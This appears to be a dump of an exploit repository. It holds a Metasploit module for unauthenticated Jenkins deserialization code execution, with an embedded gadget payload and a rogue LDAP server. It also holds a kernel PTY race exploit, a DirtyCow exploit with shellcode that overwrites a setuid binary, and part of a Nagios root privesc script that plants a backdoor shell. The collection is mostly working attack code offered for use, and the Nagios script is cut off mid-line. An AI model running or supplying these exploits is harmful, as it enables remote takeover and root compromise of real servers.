"aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000e746f756368202f746d702f777466740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878" 14 | 15 | SEARCH_RES_ENTRY = 4 16 | 17 | include Msf::Exploit::Remote::Tcp 18 | 19 | def initialize(info = {}) 20 | super(update_info(info, 21 | 'Name' => 'Jenkins CLI HTTP Java Deserialization Vulnerability', 22 | 'Description' => %q{ 23 | This module exploits a vulnerability in Jenkins. An unsafe deserialization bug exists on 24 | the Jenkins, which allows remote arbitrary code execution via HTTP. Authentication is not 25 | required to exploit this vulnerability. 26 | }, 27 | 'Author' => 28 | [ 29 | 'Matthias Kaiser', # Original Vulnerability discovery 30 | 'Alisa Esage', # Private Exploit 31 | 'Ivan', # Metasploit Module Author 32 | 'YSOSerial' #Stage 2 payload 33 | ], 34 | 'License' => MSF_LICENSE, 35 | 'Platform' => ['linux', 'unix'], 36 | 'Arch' => ARCH_CMD, 37 | 'Targets' => [ [ 'Jenkins 2.31', {} ] ], 38 | 'References' => 39 | [ 40 | ['CVE', '2016-9299'], 41 | ['URL', 'https://github.com/jenkinsci-cert/SECURITY-218'], 42 | ['URL', 'https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-11-16'], 43 | ['URL', 'http://www.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class-deepsec-edition'], 44 | ['URL', 'https://github.com/frohoff/ysoserial'] 45 | ], 46 | 'Payload' => 47 | { 48 | 'Compat' => 49 | { 50 | 'PayloadType' => 'cmd' 51 | } 52 | }, 53 | 'DefaultTarget' => 0, 54 | 'DisclosureDate' => 'Nov 16 2016' 55 | )) 56 | 57 | register_options([ 58 | OptString.new('TARGETURI', [true, 'The base path to Jenkins', '/']), 59 | Opt::RPORT('8080'), 60 | OptAddress.new('SRVHOST', [ true, "The local host to listen on for the ldap server. This must be an address on the local machine or 0.0.0.0", '127.0.0.1' ]), 61 | OptPort.new('SRVPORT', [ true, "The local port to listen on for the ldap server.", 1389 ]), 62 | OptAddress.new('LDAPHOST', [ true, "The ldap host the exploit will try to connect to ", '127.0.0.1' ]) 63 | ], self.class) 64 | end 65 | 66 | def target_uri 67 | begin 68 | URI(datastore['TARGETURI']) 69 | rescue ::URI::InvalidURIError 70 | print_error "Invalid URI: #{datastore['TARGETURI'].inspect}" 71 | raise Msf::OptionValidateError.new(['TARGETURI']) 72 | end 73 | end 74 | 75 | def normalize_uri(*strs) 76 | new_str = strs * "/" 77 | 78 | new_str = new_str.gsub!("//", "/") while new_str.index("//") 79 | 80 | # Makes sure there's a starting slash 81 | unless new_str[0,1] == '/' 82 | new_str = '/' + new_str 83 | end 84 | 85 | new_str 86 | end 87 | 88 | def aseq(x, tag) 89 | s = seq(x) 90 | s.tag_class = :APPLICATION 91 | s.tag = tag 92 | s 93 | end 94 | 95 | def seq(x) 96 | OpenSSL::ASN1::Sequence.new(x) 97 | end 98 | 99 | def int(x) 100 | OpenSSL::ASN1::Integer.new(x) 101 | end 102 | 103 | def string(x) 104 | OpenSSL::ASN1::OctetString.new(x) 105 | end 106 | 107 | def set(x) 108 | OpenSSL::ASN1::Set.new(x) 109 | end 110 | 111 | def java_string(s) 112 | length = s.length 113 | 114 | packed_length = [length].pack("S>") 115 | 116 | "#{packed_length}#{s}" 117 | end 118 | 119 | def make_stage2(command) 120 | [STAGE2].pack("H*").gsub("\x00\x0Etouch /tmp/wtf", java_string(command)) 121 | end 122 | 123 | 124 | def make_stage2_reply(command) 125 | message_id = 3 126 | java_class_name_attributes = seq([string("javaClassName"), set([string("WTF")])]) 127 | java_serialized_data_attributes = seq([string("javaSerializedData"), set([string(make_stage2(command))])]) 128 | attributes = seq([java_class_name_attributes, java_serialized_data_attributes]) 129 | s = seq([ 130 | int(message_id), 131 | aseq([string("cn=wtf, dc=example, dc=com"), attributes], SEARCH_RES_ENTRY)]) 132 | s.to_der 133 | end 134 | 135 | 136 | 137 | def make_stage1(ldap_url) 138 | [STAGE1].pack("H*").gsub("\x00\x15ldap://localhost:1234", java_string(ldap_url)) 139 | end 140 | 141 | 142 | def read_ldap_packet(socket) 143 | 144 | bytes = socket.read(2) 145 | if bytes[0] != "0" 146 | raise "NOT_LDAP: #{bytes.inspect} #{bytes[0]}" 147 | end 148 | 149 | length = bytes[1].ord 150 | if (length & (1<<7)) != 0 151 | length_bytes_length = length ^ (1<<7) 152 | 153 | length_bytes = socket.read(length_bytes_length) 154 | length = length_bytes.bytes.reduce(0) {|c, e| (c << 8) + e} 155 | end 156 | 157 | socket.read(length) 158 | end 159 | 160 | 161 | def write_chunk(socket, chunk) 162 | socket.write(chunk.bytesize.to_s(16) + "\r\n") 163 | socket.write(chunk) 164 | socket.write("\r\n") 165 | end 166 | 167 | def exploit 168 | uuid = SecureRandom.uuid 169 | 170 | ldap_port = datastore["SRVPORT"] 171 | ldap_host = datastore["SRVHOST"] 172 | ldap_external_host = datastore["LDAPHOST"] 173 | 174 | command = payload.encoded 175 | host = datastore["RHOST"] 176 | 177 | ldap = TCPServer.new(ldap_host, ldap_port) 178 | 179 | cli_path = normalize_uri(target_uri.path, "cli") 180 | 181 | begin 182 | 183 | download = connect() 184 | 185 | begin 186 | 187 | download.write("POST #{cli_path} HTTP/1.1\r\n" + 188 | "Host: #{host}\r\n" + 189 | "User-Agent: curl/7.36.0\r\n" + 190 | "Accept: */*\r\n" + 191 | "Session: #{uuid}\r\n" + 192 | "Side: download\r\n" + 193 | "Content-Length: 0\r\n" + 194 | "Content-Type: application/x-www-form-urlencoded\r\n\r\n") 195 | 196 | download.read(20) 197 | 198 | upload = connect() 199 | begin 200 | upload.write("POST #{cli_path} HTTP/1.1\r\n" + 201 | "Host: #{host}\r\n" + 202 | "User-Agent: curl/7.36.0\r\n" + 203 | "Accept: */*\r\n" + 204 | "Session: #{uuid}\r\n" + 205 | "Side: upload\r\n" + 206 | "Content-type: application/octet-stream\r\n" + 207 | "Transfer-Encoding: chunked\r\n\r\n") 208 | 209 | write_chunk(upload, "<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAP4=") 210 | write_chunk(upload, "\00\00\00\00") 211 | 212 | upload.flush 213 | 214 | stage1 = make_stage1("ldap://#{ldap_external_host}:#{ldap_port}") 215 | 216 | chunk_header = [stage1.bytesize].pack("S>") 217 | write_chunk(upload, chunk_header + stage1) 218 | 219 | upload.flush 220 | 221 | client = ldap.accept 222 | begin 223 | read_ldap_packet(client) 224 | client.write(["300c02010161070a010004000400"].pack("H*")) 225 | 226 | read_ldap_packet(client) 227 | client.write(["3034020102642f04066f753d777466302530230411737562736368656d61537562656e747279310e040c636e3d737562736368656d61"].pack("H*")) 228 | client.write(["300c02010265070a010004000400"].pack("H*")) 229 | 230 | read_ldap_packet(client) 231 | client.write(make_stage2_reply(command)) 232 | client.write(["300c02010365070a010004000400"].pack("H*")) 233 | 234 | client.flush 235 | ensure 236 | client.close 237 | end 238 | ensure 239 | upload.close 240 | end 241 | ensure 242 | download.close 243 | end 244 | 245 | ensure 246 | ldap.close 247 | end 248 | end 249 | 250 | def check 251 | result = Exploit::CheckCode::Safe 252 | 253 | begin 254 | if vulnerable? 255 | result = Exploit::CheckCode::Vulnerable 256 | end 257 | rescue Msf::Exploit::Failed => e 258 | vprint_error(e.message) 259 | return Exploit::CheckCode::Unknown 260 | end 261 | 262 | result 263 | end 264 | 265 | def vulnerable? 266 | res = send_request_cgi({ 267 | 'uri' => normalize_uri(target_uri.path) 268 | }) 269 | unless res 270 | fail_with(Failure::Unknown, 'The connection timed out.') 271 | end 272 | 273 | http_headers = res.headers 274 | 275 | http_headers['X-Jenkins'] && http_headers['X-Jenkins'] <= "2.31" 276 | end 277 | 278 | # Connects to the server, creates a request, sends the request, 279 | # reads the response 280 | # 281 | # Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi. 282 | # 283 | def send_request_cgi(opts={}, timeout = 20) 284 | 285 | begin 286 | c = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['RPORT']) 287 | c.connect 288 | r = c.request_cgi(opts) 289 | c.send_recv(r, timeout) 290 | rescue ::Errno::EPIPE, ::Timeout::Error 291 | nil 292 | end 293 | end 294 | end 295 | -------------------------------------------------------------------------------- /linux/Remote control: -------------------------------------------------------------------------------- 1 | JRat 2 | -------------------------------------------------------------------------------- /linux/cve-2014-0196-md.c: -------------------------------------------------------------------------------- 1 | /* 2 | * CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race 3 | * condition 4 | * 5 | * Slightly-less-than-POC privilege escalation exploit 6 | * For kernels >= v3.14-rc1 7 | * 8 | * Matthew Daley <mattd@bugfuzz.com> 9 | * 10 | * Usage: 11 | * $ gcc cve-2014-0196-md.c -lutil -lpthread 12 | * $ ./a.out 13 | * [+] Resolving symbols 14 | * [+] Resolved commit_creds: 0xffffffff81056694 15 | * [+] Resolved prepare_kernel_cred: 0xffffffff810568a7 16 | * [+] Doing once-off allocations 17 | * [+] Attempting to overflow into a tty_struct............... 18 | * [+] Got it :) 19 | * # id 20 | * uid=0(root) gid=0(root) groups=0(root) 21 | * 22 | * WARNING: The overflow placement is still less-than-ideal; there is a 1/4 23 | * chance that the overflow will go off the end of a slab. This does not 24 | * necessarily lead to an immediate kernel crash, but you should be prepared 25 | * for the worst (i.e. kernel oopsing in a bad state). In theory this would be 26 | * avoidable by reading /proc/slabinfo on systems where it is still available 27 | * to unprivileged users. 28 | * 29 | * Caveat: The vulnerability should be exploitable all the way from 30 | * v2.6.31-rc3, however relevant changes to the TTY subsystem were made in 31 | * commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 ("tty: Halve flip buffer 32 | * GFP_ATOMIC memory consumption") that make exploitation simpler, which this 33 | * exploit relies on. 34 | * 35 | * Thanks to Jon Oberheide for his help on exploitation technique. 36 | */ 37 | 38 | #include <sys/stat.h> 39 | #include <sys/types.h> 40 | #include <fcntl.h> 41 | #include <pthread.h> 42 | #include <pty.h> 43 | #include <stdio.h> 44 | #include <string.h> 45 | #include <termios.h> 46 | #include <unistd.h> 47 | 48 | #define TTY_MAGIC 0x5401 49 | 50 | #define ONEOFF_ALLOCS 200 51 | #define RUN_ALLOCS 30 52 | 53 | struct device; 54 | struct tty_driver; 55 | struct tty_operations; 56 | 57 | typedef struct { 58 | int counter; 59 | } atomic_t; 60 | 61 | struct kref { 62 | atomic_t refcount; 63 | }; 64 | 65 | struct tty_struct_header { 66 | int magic; 67 | struct kref kref; 68 | struct device *dev; 69 | struct tty_driver *driver; 70 | const struct tty_operations *ops; 71 | } overwrite; 72 | 73 | typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred); 74 | typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred); 75 | 76 | int master_fd, slave_fd; 77 | char buf[1024] = {0}; 78 | commit_creds_fn commit_creds; 79 | prepare_kernel_cred_fn prepare_kernel_cred; 80 | 81 | int payload(void) { 82 | commit_creds(prepare_kernel_cred(0)); 83 | 84 | return 0; 85 | } 86 | 87 | unsigned long get_symbol(char *target_name) { 88 | FILE *f; 89 | unsigned long addr; 90 | char dummy; 91 | char name[256]; 92 | int ret = 0; 93 | 94 | f = fopen("/proc/kallsyms", "r"); 95 | if (f == NULL) 96 | return 0; 97 | 98 | while (ret != EOF) { 99 | ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, name); 100 | if (ret == 0) { 101 | fscanf(f, "%s\n", name); 102 | continue; 103 | } 104 | 105 | if (!strcmp(name, target_name)) { 106 | printf("[+] Resolved %s: %p\n", target_name, (void *)addr); 107 | 108 | fclose(f); 109 | return addr; 110 | } 111 | } 112 | 113 | printf("[-] Couldn't resolve \"%s\"\n", name); 114 | 115 | fclose(f); 116 | return 0; 117 | } 118 | 119 | void *overwrite_thread_fn(void *p) { 120 | write(slave_fd, buf, 511); 121 | 122 | write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1)); 123 | write(slave_fd, &overwrite, sizeof(overwrite)); 124 | } 125 | 126 | int main() { 127 | char scratch[1024] = {0}; 128 | void *tty_operations[64]; 129 | int i, temp_fd_1, temp_fd_2; 130 | 131 | for (i = 0; i < 64; ++i) 132 | tty_operations[i] = payload; 133 | 134 | overwrite.magic = TTY_MAGIC; 135 | overwrite.kref.refcount.counter = 0x1337; 136 | overwrite.dev = (struct device *)scratch; 137 | overwrite.driver = (struct tty_driver *)scratch; 138 | overwrite.ops = (struct tty_operations *)tty_operations; 139 | 140 | puts("[+] Resolving symbols"); 141 | 142 | commit_creds = (commit_creds_fn)get_symbol("commit_creds"); 143 | prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred"); 144 | if (!commit_creds || !prepare_kernel_cred) 145 | return 1; 146 | 147 | puts("[+] Doing once-off allocations"); 148 | 149 | for (i = 0; i < ONEOFF_ALLOCS; ++i) 150 | if (openpty(&temp_fd_1, &temp_fd_2, NULL, NULL, NULL) == -1) { 151 | puts("[-] pty creation failed"); 152 | return 1; 153 | } 154 | 155 | printf("[+] Attempting to overflow into a tty_struct..."); 156 | fflush(stdout); 157 | 158 | for (i = 0; ; ++i) { 159 | struct termios t; 160 | int fds[RUN_ALLOCS], fds2[RUN_ALLOCS], j; 161 | pthread_t overwrite_thread; 162 | 163 | if (!(i & 0xfff)) { 164 | putchar('.'); 165 | fflush(stdout); 166 | } 167 | 168 | if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) { 169 | puts("\n[-] pty creation failed"); 170 | return 1; 171 | } 172 | 173 | for (j = 0; j < RUN_ALLOCS; ++j) 174 | if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) { 175 | puts("\n[-] pty creation failed"); 176 | return 1; 177 | } 178 | 179 | close(fds[RUN_ALLOCS / 2]); 180 | close(fds2[RUN_ALLOCS / 2]); 181 | 182 | write(slave_fd, buf, 1); 183 | 184 | tcgetattr(master_fd, &t); 185 | t.c_oflag &= ~OPOST; 186 | t.c_lflag |= ECHO; 187 | tcsetattr(master_fd, TCSANOW, &t); 188 | 189 | if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, NULL)) { 190 | puts("\n[-] Overwrite thread creation failed"); 191 | return 1; 192 | } 193 | write(master_fd, "A", 1); 194 | pthread_join(overwrite_thread, NULL); 195 | 196 | for (j = 0; j < RUN_ALLOCS; ++j) { 197 | if (j == RUN_ALLOCS / 2) 198 | continue; 199 | 200 | ioctl(fds[j], 0xdeadbeef); 201 | ioctl(fds2[j], 0xdeadbeef); 202 | 203 | close(fds[j]); 204 | close(fds2[j]); 205 | } 206 | 207 | ioctl(master_fd, 0xdeadbeef); 208 | ioctl(slave_fd, 0xdeadbeef); 209 | 210 | close(master_fd); 211 | close(slave_fd); 212 | 213 | if (!setresuid(0, 0, 0)) { 214 | setresgid(0, 0, 0); 215 | 216 | puts("\n[+] Got it :)"); 217 | execl("/bin/bash", "/bin/bash", NULL); 218 | } 219 | } 220 | } 221 | -------------------------------------------------------------------------------- /linux/dirtyc0w.c: -------------------------------------------------------------------------------- 1 | /* 2 | * (un)comment correct payload first (x86 or x64)! 3 | * 4 | * $ gcc cowroot.c -o cowroot -pthread 5 | * $ ./cowroot 6 | * DirtyCow root privilege escalation 7 | * Backing up /usr/bin/passwd.. to /tmp/bak 8 | * Size of binary: 57048 9 | * Racing, this may take a while.. 10 | * /usr/bin/passwd is overwritten 11 | * Popping root shell. 12 | * Don't forget to restore /tmp/bak 13 | * thread stopped 14 | * thread stopped 15 | * root@box:/root/cow# id 16 | * uid=0(root) gid=1000(foo) groups=1000(foo) 17 | */ 18 | 19 | #include <stdio.h> 20 | #include <stdlib.h> 21 | #include <sys/mman.h> 22 | #include <fcntl.h> 23 | #include <pthread.h> 24 | #include <string.h> 25 | #include <unistd.h> 26 | 27 | void *map; 28 | int f; 29 | int stop = 0; 30 | struct stat st; 31 | char *name; 32 | pthread_t pth1,pth2,pth3; 33 | 34 | // change if no permissions to read 35 | char suid_binary[] = "/usr/bin/passwd"; 36 | 37 | /* 38 | * $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i 39 | */ 40 | unsigned char sc[] = { 41 | 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 42 | 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 43 | 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 44 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 45 | 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 46 | 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 47 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 48 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 49 | 0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00, 50 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 51 | 0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99, 52 | 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, 53 | 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, 54 | 0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 55 | 0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05 56 | }; 57 | unsigned int sc_len = 177; 58 | 59 | /* 60 | * $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i 61 | unsigned char sc[] = { 62 | 0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 63 | 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 64 | 0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 65 | 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, 66 | 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 67 | 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00, 68 | 0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 69 | 0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52, 70 | 0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68, 71 | 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00, 72 | 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53, 73 | 0x89, 0xe1, 0xcd, 0x80 74 | }; 75 | unsigned int sc_len = 136; 76 | */ 77 | 78 | void *madviseThread(void *arg) 79 | { 80 | char *str; 81 | str=(char*)arg; 82 | int i,c=0; 83 | for(i=0;i<1000000 && !stop;i++) { 84 | c+=madvise(map,100,MADV_DONTNEED); 85 | } 86 | printf("thread stopped\n"); 87 | } 88 | 89 | void *procselfmemThread(void *arg) 90 | { 91 | char *str; 92 | str=(char*)arg; 93 | int f=open("/proc/self/mem",O_RDWR); 94 | int i,c=0; 95 | for(i=0;i<1000000 && !stop;i++) { 96 | lseek(f,map,SEEK_SET); 97 | c+=write(f, str, sc_len); 98 | } 99 | printf("thread stopped\n"); 100 | } 101 | 102 | void *waitForWrite(void *arg) { 103 | char buf[sc_len]; 104 | 105 | for(;;) { 106 | FILE *fp = fopen(suid_binary, "rb"); 107 | 108 | fread(buf, sc_len, 1, fp); 109 | 110 | if(memcmp(buf, sc, sc_len) == 0) { 111 | printf("%s is overwritten\n", suid_binary); 112 | break; 113 | } 114 | 115 | fclose(fp); 116 | sleep(1); 117 | } 118 | 119 | stop = 1; 120 | 121 | printf("Popping root shell.\n"); 122 | printf("Don't forget to restore /tmp/bak\n"); 123 | 124 | system(suid_binary); 125 | } 126 | 127 | int main(int argc,char *argv[]) { 128 | char *backup; 129 | 130 | printf("DirtyCow root privilege escalation\n"); 131 | printf("Backing up %s.. to /tmp/bak\n", suid_binary); 132 | 133 | asprintf(&backup, "cp %s /tmp/bak", suid_binary); 134 | system(backup); 135 | 136 | f = open(suid_binary,O_RDONLY); 137 | fstat(f,&st); 138 | 139 | printf("Size of binary: %d\n", st.st_size); 140 | 141 | char payload[st.st_size]; 142 | memset(payload, 0x90, st.st_size); 143 | memcpy(payload, sc, sc_len+1); 144 | 145 | map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); 146 | 147 | printf("Racing, this may take a while..\n"); 148 | 149 | pthread_create(&pth1, NULL, &madviseThread, suid_binary); 150 | pthread_create(&pth2, NULL, &procselfmemThread, payload); 151 | pthread_create(&pth3, NULL, &waitForWrite, NULL); 152 | 153 | pthread_join(pth3, NULL); 154 | 155 | return 0; 156 | } 157 | -------------------------------------------------------------------------------- /nagios/nagios-root-privesc.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Source: https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html 4 | # 5 | # Nagios Core < 4.2.4 Root Privilege Escalation PoC Exploit 6 | # nagios-root-privesc.sh (ver. 1.0) 7 | # 8 | # CVE-2016-9566 9 | # 10 | # Discovered and coded by: 11 | # 12 | # Dawid Golunski 13 | # dawid[at]legalhackers.com 14 | # 15 | # https://legalhackers.com 16 | # 17 | # Follow https://twitter.com/dawid_golunski for updates on this advisory 18 | # 19 | # 20 | # [Info] 21 | # 22 | # This PoC exploit allows privilege escalation from 'nagios' system account, 23 | # or an account belonging to 'nagios' group, to root (root shell). 24 | # Attackers could obtain such an account via exploiting another vulnerability, 25 | # e.g. CVE-2016-9565 linked below. 26 | # 27 | # [Exploit usage] 28 | # 29 | # ./nagios-root-privesc.sh path_to_nagios.log 30 | # 31 | # 32 | # See the full advisory for details at: 33 | # https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html 34 | # 35 | # Video PoC: 36 | # https://legalhackers.com/videos/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html 37 | # 38 | # CVE-2016-9565: 39 | # https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html 40 | # 41 | # Disclaimer: 42 | # For testing purposes only. Do no harm. 43 | # 44 | 45 | BACKDOORSH="/bin/bash" 46 | BACKDOORPATH="/tmp/nagiosrootsh" 47 | PRIVESCLIB="/tmp/nagios_privesc_lib.so" 48 | PRIVESCSRC="/tmp/nagios_privesc_lib.c" 49 | SUIDBIN="/usr/bin/sudo" 50 | commandfile='/usr/local/nagios/var/rw/nagios.cmd' 51 | 52 | function cleanexit { 53 | # Cleanup 54 | echo -e "\n[+] Cleaning up..." 55 | rm -f $PRIVESCSRC 56 | rm -f $PRIVESCLIB 57 | rm -f $ERRORLOG 58 | touch $ERRORLOG 59 | if [ -f /etc/ld.so.preload ]; then 60 | echo -n > /etc/ld.so.preload 61 | fi 62 | echo -e "\n[+] Job done. Exiting with code $1 \n" 63 | exit $1 64 | } 65 | 66 | function ctrl_c() { 67 | echo -e "\n[+] Ctrl+C pressed" 68 | cleanexit 0 69 | } 70 | 71 | #intro 72 | 73 | echo -e "\033[94m \nNagios Core - Root Privilege Escalation PoC Exploit (CVE-2016-9566) \nnagios-root-privesc.sh (ver. 1.0)\n" 74 | echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m" 75 | 76 | # Priv check 77 | echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m" 78 | id | grep -q nagios 79 | if [ $? -ne 0 ]; then 80 | echo -e "\n[!] You need to execute the exploit as 'nagios' user or 'nagios' group ! Exiting.\n" 81 | exit 3 82 | fi 83 | 84 | # Set target paths 85 | ERRORLOG="$1" 86 | if [ ! -f "$ERRORLOG" ]; then 87 | echo -e "\n[!] Provided Nagios log path ($ERRORLOG) doesn't exist. Try again. E.g: \n" 88 | echo -e "./nagios-root-privesc.sh /usr/local/nagios/var/nagios.log\n" 89 | exit 3 90 | fi 91 | 92 | # [ Exploitation ] 93 | 94 | trap ctrl_c INT 95 | # Compile privesc preload library 96 | echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)" 97 | cat <<_solibeof_>$PRIVESCSRC 98 | #define _GNU_SOURCE 99 | #include <stdio.h> 100 | #include <sys/stat.h> 101 | #include <unistd.h> 102 | #include <dlfcn.h> 103 | #include <sys/types.h> 104 | #include <sys/stat.h> 105 | #include <fcntl.h> 106 | 107 | uid_t geteuid(void) { 108 | static uid_t (*old_geteuid)(); 109 | old_geteuid = dlsym(RTLD_NEXT, "geteuid"); 110 | if ( old_geteuid() == 0 ) { 111 | chown("$BACKDOORPATH", 0, 0); 112 | chmod("$BACKDOORPATH", 04777); 113 | unlink("/etc/ld.so.preload"); 114 | } 115 | return old_geteuid(); 116 | } 117 | _solibeof_ 118 | /bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl" 119 | if [ $? -ne 0 ]; then 120 | echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC." 121 | cleanexit 2; 122 | fi 123 | 124 | 125 | # Prepare backdoor shell 126 | cp $BACKDOORSH $BACKDOORPATH 127 | echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`" 128 | 129 | # Safety check 130 | if [ -f /etc/ld.so.preload ]; then 131 | echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety." 132 | exit 2 133 | fi 134 | 135 | # Symlink the Nagios log file 136 | rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG 137 | if [ $? -ne 0 ]; then 138 | echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink." 139 | cleanexit 3 140 | fi 141 | echo -e "\n[+] The system appears to be exploitable (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`" 142 | 143 | { 144 | # Wait for Nagios to get restarted 145 | echo -ne "\n[+] Waiting for Nagios service to get 